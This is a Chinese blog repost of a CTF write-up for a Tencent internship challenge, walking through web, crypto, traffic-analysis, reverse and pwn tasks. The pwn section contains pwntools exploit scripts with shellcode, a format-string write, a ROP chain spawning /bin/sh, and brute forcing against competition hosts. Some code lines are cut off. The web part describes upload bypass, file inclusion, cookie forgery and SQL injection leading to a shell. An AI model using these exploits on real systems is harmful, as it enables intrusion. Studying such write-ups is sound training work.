python做三维图片挑战眼力_腾讯实习挑战赛30强WriteUp

原创

weixin_39575648 于 2020-12-13 23:08:08 发布 99 收藏
文章标签： python做三维图片挑战眼力

我觉得前十应该没几个会写wp，毕竟好多人都做好了不去的准备，应坏蛋邀请，在这里放出前三的wp，除了两道逆向，其余AK。

30强挑战赛writeup

0x00 基础题

301.能看到吗？

右键，查看源码

恶魔焦-writeup39.png (14.13 KB, 下载次数: 39)

1

2016-7-7 11:37 上传

就可以看到flag

302.加密的地址

禁用了右键，F12看源码。

恶魔焦-writeup72.png (131.1 KB, 下载次数: 34)

2

2016-7-7 11:37 上传

303.看仔细了

源码里可以看到这个function time(){

pass='MWMzNmNkNTI=';

pass1='NDFiNzczNWVlZmRj';

}

Base64解密，填进去，拿到flag，很简单，不截图了。

304.外表可是具有欺骗性的

恶魔焦-writeup211.png (229.54 KB, 下载次数: 28)

3

2016-7-7 11:37 上传

unicode编码，直接 document.write()

305.洞察力是你取胜的关键

源码里发现这样一个js文件

很常见的解密，也可以直接document.write()

注意这里最好自己打开空页面写控制台

function aaa(){eval("32643930613930383163623864616338616465656134633361663033343932 61")}

里面的数字是hex编码，全部替换为空

恶魔焦-writeup507.png (35.3 KB, 下载次数: 24)

4

2016-7-7 11:38 上传

用python随手写个binascii

1.png (130.84 KB, 下载次数: 35)

2016-7-7 11:48 上传

Cmd5解密就是口令，输入拿到flag

0x01 算法

306.统计

上py程序

```
# -*- coding: cp936 -*-
# 计算 1 + 2*3 + 4*5 + ....+ 98*99 + 100
sum = 0
for i in range(3,100,2):
sum = i*(i-1)+sum
print sum+1+100
```

307.找到它

给了一长串字符串，说是手速和眼力，然而字符串并不会变化。直接取出来，py解决。

```
# -*- coding: utf-8 -*-
a = open('1.txt')
```

b = a.readlines()[0]

print b[101],b[399],b[1200],b[1603],b[1799]

308.神奇数

-*- coding: utf-8 -*-

for i in range(100000):

a = str(i**2)

if ('1' in a) and ('2' in a) and ('3' in a) and ('4' in a) and ('5' in a) and ('6' in a) and ('7' in a) and ('8' in a) and ('9' in a) and ('0' in a):

print i

取最小的那个数

0x02 计算机原理309.ASCII与二进制

答案：7；百度！

310.算算二进制

答案：1048575

311.你会吗

答案：中断字

0x03 加密解密

312.残缺的base64

随便填个数进去，一看就估计是镜花水月这个成语

镜花水月base64编码结果：6ZWc6lqx5rC05pyl

答案为r

313.错误的md5

4d1e3cbl10c094e4f7c704232956bc34

MD5里面没有l这个符号，把l改为1，解密，得到答案：企鹅

314.就差一步

很明显，ROT13，解密得到flag

flag{91b19e02-4fb7-45b6-a59b-4edac2b1d2ad}

315.这句话有点意思

培根加密，正体为A，斜体为B

0x04 流量分析

316.有选择吗

不会的话。。。A,B,C,D一个个试吧

317.flag呢

很小的一个流量包，直接跟踪TCP流可以找到这么一串字符

flag%7B%C4%E3%D7%D4%BC%BA%BF%B4%D7%C5%B0%EC%7D

Url用gb2312编码方式解码得到flag

flag{你自己看着办}

318.万中有一

用tcp contains flag过滤掉多余的数据包，逐个分析，发现

恶魔焦-writeup1986.png (76.58 KB, 下载次数: 24)

9

2016-7-7 11:38 上传

319.大黑阔

这题是强网杯原题。

这题是个很考验脑洞的题，跟踪tcp流后，逐个分析流流量包，发现是两个人在聊天。。。。聊天的内容大概是讨论放假去哪里玩，并在其中找到了一张中国地图。先把地图提取出来吧。。

地图上什么都没有。

分析对话，提到了要去王思聪100，百度，了解到是王思聪在昆明建立了第一百个广场。地图移到昆明看看：

恶魔焦-writeup2141.png (162.45 KB, 下载次数: 49)

10

2016-7-7 11:39 上传

隐隐约约看到flag，想办法处理一下图像，根据这个，半猜半蒙的把flag试出来。

0x05 ReverseReverse 3

APK用jeb打开分析源码，很简单的Android代码。

关键判断点：

恶魔焦-writeup2245.png (35.7 KB, 下载次数: 44)

11

2016-7-7 11:39 上传

程序预先保存了一个v4的值，然后与用户输入的v5进行简单的比对，如果相同则正确，否则弹出not right! lol。。。。的Toast。

懒得分析v4到底怎么生成的，直接暴力一点——修改源码：

原本判断正确的位置：

恶魔焦-writeup2518.png (47.49 KB, 下载次数: 30)

12

2016-7-7 11:39 上传

分析知，v9保存的就是flag的值

修改后：

将等于修改为不等于，并把本来弹出的恭喜您，输入正确！Flag==flag{Key}

改为flag，运行更改后程序结果：

file:///C:\Users\ADMINI~1.USE\AppData\Local\Temp\ksohtml\wpsFC22.tmp.jpg

flag{Qv49CmZB2Df4jB-}

Reverse 1

这一题我下载的压缩文件里存在一个flag.txt文件

恶魔焦-writeup2834.png (104.18 KB, 下载次数: 56)

13

2016-7-7 11:40 上传

打开就有flag

直接提交。。。通过了。。。。。

好像之后修复了这个问题，下下来只有一个apk了。

0x06 PWN

Pwn1

此题一开始连文件都没有，完全懵逼

没有对输入的index限制，导致可以直接到输入的buf中执行shellcode

```
from pwn import *
debug=0
if debug:
p=process('./tc1')
gdb.attach(p)
else:
```

```
p=remote('106.75.9.11',20000)
p.recv()
p.sendline('29')
p.recv()
p.sendline(p32(0x804A0A4)+'\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f\xf6\xd3\x30\xd8\x88\
p.interactive()
```

pwn2

简单格式化串利用。

```
from pwn import *
debug=0
if debug:
p=process('./echo')
gdb.attach(p)
else:
p=remote('106.75.9.11',20001)
def send(data):
p.sendline(data)
p.recvuntil("bytes\n")
def splitnum(n,x=0):
assert (x<4)&(x>=0)
return (n&(255<<(x*8)
def formatwrite(addr,value,offset):
payload=''
n=[]
for i in xrange(4):
payload+=p32(addr+i)+'junk'
n.append(splitnum(value,i))
payload=payload[:-4]
l=len(payload)
for i in xrange(4):
padnum=n-l
```

```
if padnum<1:
padnum+=256
l=n
payload+='%0{}x%{}$hhn'.format(padnum,offset)
offset+=2
return payload
p.recv()
#leak stack first
p.sendline('%5$08x')
d=p.recv(8)
stack=int(d,16)
log.success('stack: '+hex(stack))
p.recv()
#enlarge the buf
send(p32(stack-12)+'%510x%7$n')
log.success('ret: '+hex(stack+0x210))
sc='\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\x
send(formatwrite(stack+0x210,stack+10,7))
#trigger shell!
p.sendline(p32(stack-4)+'%x%7$n'+sc)
p.recv()
p.interactive()
```

pwn3

一个光秃秃的栈溢出。

使用通用rop，刚开始执行system老出错，换成execve就好了。

```
from pwn import *
debug=0
gotwrite=0x601018
gotread=0x601020
def vuln(fun,param1=0,param2=0,param3=0):
if fun=='read':
```

```
fun=gotread

elif fun=='write':

fun=gotwrite

rop=0x40062A

p.sendline('c'*72+p64(rop)+p64(0)+p64(1)+p64(fun)+p64(param3) + p64(param2) +
p64(param1)+p64(0x400610)+'1'*56+p64(0x40057D))

def leak(addr):

vuln('write',1,addr,8)

data=p.recv(8)

return data

if debug:

p=process('./qwb3')

gdb.attach(p)

else:

p=remote('106.75.8.230',19286)

p.recv()

d = DynELF(leak, elf=ELF('./qwb3'))

exe=d.lookup('execve', 'libc')

log.success('execve:'+hex(exe))

data=0x601038

vuln('read',0,data,17)

p.sendline(p64(exe)+'/bin/sh\x00')

import time

time.sleep(0.2)

vuln(data,data+8,0,0)

p.interactive()
```

pwn4

完全靠猜，就是爆破。

```
from pwn import *

import string

flag=''
```

```
t=string.printable[:-6]
err=0
for i in xrange(40):
for j in (t):
tmp=flag+j
succ=0
while 1:
try:
p=remote('106.75.8.230','13349')
p.recvuntil(':')
p.sendline('fuck')
p.recvuntil('?')
p.sendline('fuck')
p.recvuntil(':')
p.sendline(tmp)
data=p.recv()
data=p.recv()
if 'Try' in data:
flag=tmp
log.success(flag)
succ=1
p.close()
break
except:
continue
if succ:
break
print flag
```

328.整站我也能看到

根据提示，应该是源码打包下载，开始试了几个zip和rar，最后看到提示里的gift才试出来，脑洞题。

http://106.75.8.230:19209/gift.rar

329.登录

根据提示，应该是有数据库备份文件，然而，我fuzz了一天也没fuzz出来，脑洞题，最后发现是sql.sql

330.Flag在哪里

简单的上传，直接传php发现这样，改一下content-type为image/jpeg，发现提示变了

猜测是通过content-type检测的文件类型，改成图片格式就绕过了，然后显示出错，fuzz一下后缀名

恶魔焦-writeup6341.png (66.94 KB, 下载次数: 31)

15

2016-7-7 11:41 上传

直接fuzz出各种能通过的后缀，大小写什么的直接绕了。

331.执行

这题看注释得到 user user ，然后登录，发现很像linux控制台，但是很多命令都是deny，纠结了很长时间，后来随手试了一个root的万能密码就以root进去了，然后直接cd cat 拿到flag，最后朋友告诉我这是强网杯还是啥的原题，之前没做过，可惜。

两种方法，一种burp，一种直接改前端限制。

恶魔焦-writeup6533.png (57.38 KB, 下载次数: 33)

16

2016-7-7 11:41 上传

进去以后就简单了

恶魔焦-writeup6544.png (31.16 KB, 下载次数: 42)

17

2016-7-7 11:42 上传

0x08 渗透测试

332.弹弹弹

这题是最不科学的，根据入口，明显没有xss，只是纯粹为了出题了，当时不想做了随手试了一个语句，经典

看来以后做不出来了都要胡乱fuzz一下各种语句。

弹出flag，这里就是一个判断吧，别说是xss题。。

恶魔焦-writeup6692.png (44.36 KB, 下载次数: 45)

18

2016-7-7 11:42 上传

333.就在其中

首先，扫到1234.php

可以burp扫，可以御剑，也可以自己py扫，我是猜测出题人为了方便应该会出1234.php，就随手试了，发现存在。然后一直没思路，试了各种方法，想到是文件包含，但是一直不知道参数是多少，死马当活马医，拿常用的file参数来直接读源码。

恶魔焦-writeup7026.png (29.39 KB, 下载次数: 40)

19

2016-7-7 11:42 上传

Base64解码拿到flag

334.瞒天过海

test test登录

拿到token

ad0234829205b9033196ba818f7a872b

Token解密，发现是test2

猜测admin 的token是admin1的md5值

修改返回包的set-cookie

拿到flag

恶魔焦-writeup7171.png (25.77 KB, 下载次数: 31)

20

2016-7-7 11:43 上传

335.摄影师的家

这题有两种方法，第一种是，前台sql注入，拿到管理员密码，一种是论坛社工拿到管理员密码。之前做过i春秋的挑战营，所以这题刚出来2分钟就秒了。

前台sql注入+后台备份文件getshell+菜刀

连了以后发现flag在C盘根目录，我记不清了。

由于是原题，这题我是第一个撸出来的。

题目现在又被撸坏了，不赘述了。这个编辑器实在蛋疼，大于500k的图片没办法传上去，所以好多地方精简了，大家有不会的可以直接在帖子下面提问，我会一一回复。